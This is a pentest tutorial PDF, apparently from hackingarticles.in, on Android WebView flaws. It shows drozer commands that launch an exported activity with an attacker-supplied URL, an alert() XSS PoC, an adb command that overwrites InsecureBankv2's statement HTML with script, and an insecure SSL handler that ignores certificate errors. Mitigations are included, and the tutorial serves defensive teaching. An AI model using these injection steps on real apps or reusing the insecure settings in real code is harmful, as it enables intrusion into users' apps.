0% found this document useful (0 votes)
57 views

Android Pentest Course - Webview PDF

Uploaded by

Getaneh Alehegn
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
57 views

Android Pentest Course - Webview PDF

Uploaded by

Getaneh Alehegn
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 18

Contents

Abstract ......................................................................................... 3
Web View ...................................................................................... 4
What is WebView? ...................................................................... 4
WebView based Vulnerabilities ................................................... 4
How is WebView Implemented? .................................................. 5
Exploiting XSS using WebViews ................................................... 6
XSS using Internal File Access in WebViews ................................ 13

www.hackingarticles.in Page | 2
Abstract

Initially, there was a time when only HTML used to display web pages. Then came JavaScript and along
came dynamic pages. Further down the line, some person thought opening dynamic pages within android
applications was a good idea, hence, WebView came into the picture. But as the security guys would know
from their lifetime of experience–no new technology comes without insecurities. In this article, we’ll be
discussing WebViews, their implementation in Java, misconfiguration, and exploitation. WebView
misconfiguration can lead to critical Web-based attacks within an android application and so, its impact is
unparalleled.

www.hackingarticles.in Page | 3
Web View
What is WebView?
WebView is a view that displays web pages within your existing android application without the need for
opening links in an external browser. There are various applications of WebView in an android file, for
example:
 Advertisements
 Blogging applications that render web page within the native app
 Some shopping applications (Eg: Reliance Digital) works on webviews
 Search extensions
 API authentication to a website could be done using webviews
 Banking applications often render statements using webviews
In the example attack scenario further, in the article, we’ll see how webviews render bank statements and
how attacks can be performed on them.

WebView based Vulnerabilities


The use cases are dynamic but to generalize, the following vulnerabilities exist due to poor
implementation of WebView
 Clear text credentials sniffing
 Improper SSL Error Handling
Often devs ignore SSL errors. This means the app is vulnerable to MiTM attacks. For example, see the
following code:

@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler,
SslError error)
{
handler.proceed();
}
 XSS if setJavaScriptEnabled() method is set to true
 RCE
 API attacks
 Injections if WebView has access to the content provider (i.e. if an app has allowed
setAllowContent Access)
 Internal file access if setAllowUniversalAccessFromFileURLs is set to true

www.hackingarticles.in Page | 4
How is WebView Implemented?
Ever since the beginning of this series, I’ve only talked about native apps in Java and so the implementation
of WebView would be limited to Java and how to tweak Android Studio Project files.
Step 1: import android.webkit.WebView and android.webkit.WebSettings in your project and input the
following in your activity file:

webSettings.setJavaScriptEnabled(true);

This is to ensure that javascript is successfully run while WebViews are called or the pages won’t look as
flashy as they would on a normal browser.
Step 2: Now, to implement a WebView in your application, we need to add the following code in the
someActivity.java file:

WebView var = (WebView) findViewbyId(R.id.webview);

Step 3: Thereafter, to load a specific URL in the WebView we can use loadUrl method.

browser.loadUrl("https://hackingarticles.in");

It is to be noted there are various methods here that a user can play around with, like, clearHistory(),
canGoBack(), destroy(), etc.
Step 4: Next, we need to define the view in the XML layout file.

<WebView xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/webview"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
/>

Step 5: Finally, we need to give it permissions to access the internet in the manifest file.
<uses-permission android:name=”android.permission.INTERNET” />
An interesting thing to be noted now is how to make WebViews interactive, Javascript is enabled in code
in step 1. While this makes webviews fully functioning, it can also be used to exploit various Web-related
vulnerabilities like XSS in Android.

www.hackingarticles.in Page | 5
Exploiting XSS using WebViews
As we know, HTML pages can be remote and/or can be stored in internal storage too. Hence, WebViews
can call remote URLs as well as internal HTML pages. Following code has to be present in WebView
implementation for an app to launch remote and local HTML pages:
For external URL access: permission to access the internet in the manifest file. SetJavaScriptEnabled()
should also be true for dynamic pages.
For internal file access: setAllowFileAccess() can be toggled to allow. If the manifest file has permission
to read external storage, it can easily access custom HTML pages stored in the SD card too. Hence, this is
one of the reasons why this permission is often considered dangerous to be allowed if not being used.
Scenario 1: Here I have coded a very simple android app that uses a webview to render hacking articles
website via an intent which is fired when a button is clicked. You can download this app here

And when the button is clicked, you can see hackingarticles.in being rendered on the webview client

www.hackingarticles.in Page | 6
Now, we need to fire up drozer agent and check out the exported activities. It is to be noted that if an
activity is not exported, it cannot be called with an intent.
Note: Here, using drozer, we are just simulating an app that would have a code in which will be using an
intent to call this activity with a forged URL and therefore exploiting the vulnerability.

adb forward tcp:31415 tcp:31415

drozer console connect

run app.package.attacksurface com.example.webviewexample

run app.activity.info -a com.example.webviewexample

www.hackingarticles.in Page | 7
Now, we see WebViewActivity being exported. Let’s decompile and see the source code running b behind
the activity so we can form an exploit.
In MainActivity, we can see that the button is calling an intent on click. Let’s break it down:
Intent intent = new Intent(Source Class, Destination Class); //Source calls destination class using intents
like this
intent.putExtra(KEY, VALUE); //This is the extra parameter that will travel to the destination class when
an intent is called.

Note: Key is the reference variable (aka the name of the extra we just put) of the value which in this case
is “url1” and url is a string that contains “https://hackingarticles.in”

startActivity(intent) will call the destination class and start the activity.

www.hackingarticles.in Page | 8
Let’s have a look at WebViewActivity and break down what we have here:
String url = getIntent().getStringExtra(“url1”); // This will save the value of extra (here, url1) into a new
string url
setJavaScriptEnabled(true); // This will allow webviews to run javascript in our webview. Usually used to
provide full functionality of the website, but can be exploited.
loadUrl(url); //function used to load a URL in webview.

www.hackingarticles.in Page | 9
Now, in the Drozer article here we learned how to formulate a query calling intent that has extras in it.
Hence, to exploit WebView using drozer we type in the following command:

run app.activity.start --component com.example.webviewexample


com.example.webviewexample.WebViewActivity --extra string url1
https://google.com

What this query does is that it changes the initial value of url1 KEY while calling the WebViewActivity to
launch a website of our providing.

www.hackingarticles.in Page | 10
Now, what is an attacker were to host a phishing page or a page with some malicious javascript code in
it? For example, I’ve set up a simple JS PoC in exploit.html and hosted it on my python server. This serves
as a PoC for all the Client Side Injection attacks as per Mobile OWASP Top 10 2014 (M7 client-side
injection).

Exploit.html
<script>alert("hacking articles!")</script>
python3 -m http.server 80

All that was left to do was to include this HTML page in the drozer query we just made.

run app.activity.start --component com.example.webviewexample


com.example.webviewexample.WebViewActivity --extra string url1
http://192.168.1.107/exploit.html

www.hackingarticles.in Page | 11
And as you can see, we have just exploited vulnerable WebView to perform an XSS attack!

Mitigations and Best Practices: Following mitigations could be coded in practice to implement secure
WebViews:
 Validate URLs being loaded in the WebViews
 Handle SSL/TLS errors properly or it could lead to MiTM attacks
 Override shouldOverrideUrlLoading method
 Disable Javascript if it is not necessary
 Avoid using JavaScriptInterface function as it allows JS to inject Java Objects into code, which can
be exploited by an attacker using WebViews

www.hackingarticles.in Page | 12
XSS using Internal File Access in WebViews
Oftentimes, a file is creating and destroying files in the internal file system and its output is rendered in
WebViews. These applications have read/write access to internal storage and therefore, an attacker can
trick an application into executing his custom code from the locations of one of the files that the
application is creating/using. What were to happen if we inject a javascript code into one of these files?
Here, we’ll be using an application called InsecureBankv2 created by Dinesh Shetty (found here). After
setting up the application you’ll see a page like the following:

Make sure AndroLabServer is running (Install dependencies first and run python app.py). The default creds
are dinesh/Dinesh@123$
After logging in you’ll see three options. First I’ll transfer some funds using the first option. Here I’ll input
two accounts num and amount, that’s it. After that, I’ll be clicking on the second option available called
View Statement.

www.hackingarticles.in Page | 13
On clicking the View Statement option, we see a WebView being opened displaying something like this:

Before proceeding any further, we first will check the logs. They reveal so much about things like an
activity that’s being called, maybe we even could see account numbers, funds or credentials, or some
other juicy information! So, we type in the following command:

adb logcat

Something interesting popped up

www.hackingarticles.in Page | 14
Here, we see that an activity called ViewStatement was taking input from an HTML file
Statements_dinesh.html that is stored at external storage under /storage/emulated/0

adb shell
cd storage/emulated/0 && ls

Exploitation: So, it is possible, if an attacker installs an app in victim’s device that has a read/write access
to storage, he can change the HTML code, possibly insert a malicious code in it and it’ll be executed as
soon as a legit user clicks on view statement.
Let’s try to tweak Statements_dinesh.html like the following:

adb shell
cd storage/emulated/0
echo "<html><body><script>alert("Hacking Articles!”)</script></body></html>"
> Statements_dinesh.html

www.hackingarticles.in Page | 15
Let’s now click on view statement and see what happens

As you can see our custom code is now being run. But how? Upon inspecting the code below we found an
insecure implementation of loadUrl() function that was accessing an internal file using the file:// resolver.
The icing was that JavaScript was enabled as well.

www.hackingarticles.in Page | 16
Mitigation: Loading content via file:// URLs is generally discouraged. setAllowFileAccess(boolean) can be
used to turn on and off access to storage by a webview. Note that assets could still be loaded using file://
(Like above) but is highly insecure. To resolve that, always use androidx.webkit.WebViewAssetLoader to
access files including assets and resources over http(s):// schemes, instead of file:// URLs.

www.hackingarticles.in Page | 17
JOIN OUR
TRAINING PROGRAMS
H ERE
CLICK BEGINNER

Bug Bounty Network Security


Ethical Hacking Essentials

Network Pentest
Wireless Pentest

ADVANCED

Burp Suite Pro Web Pro Computer


Services-API Infrastructure VAPT Forensics

Advanced CTF
Android Pentest Metasploit

EXPERT

Red Team Operation

Privilege Escalation
APT’s - MITRE Attack Tactics
Windows
Active Directory Attack
Linux
MSSQL Security Assessment

www.ignitetechnologies.in

You might also like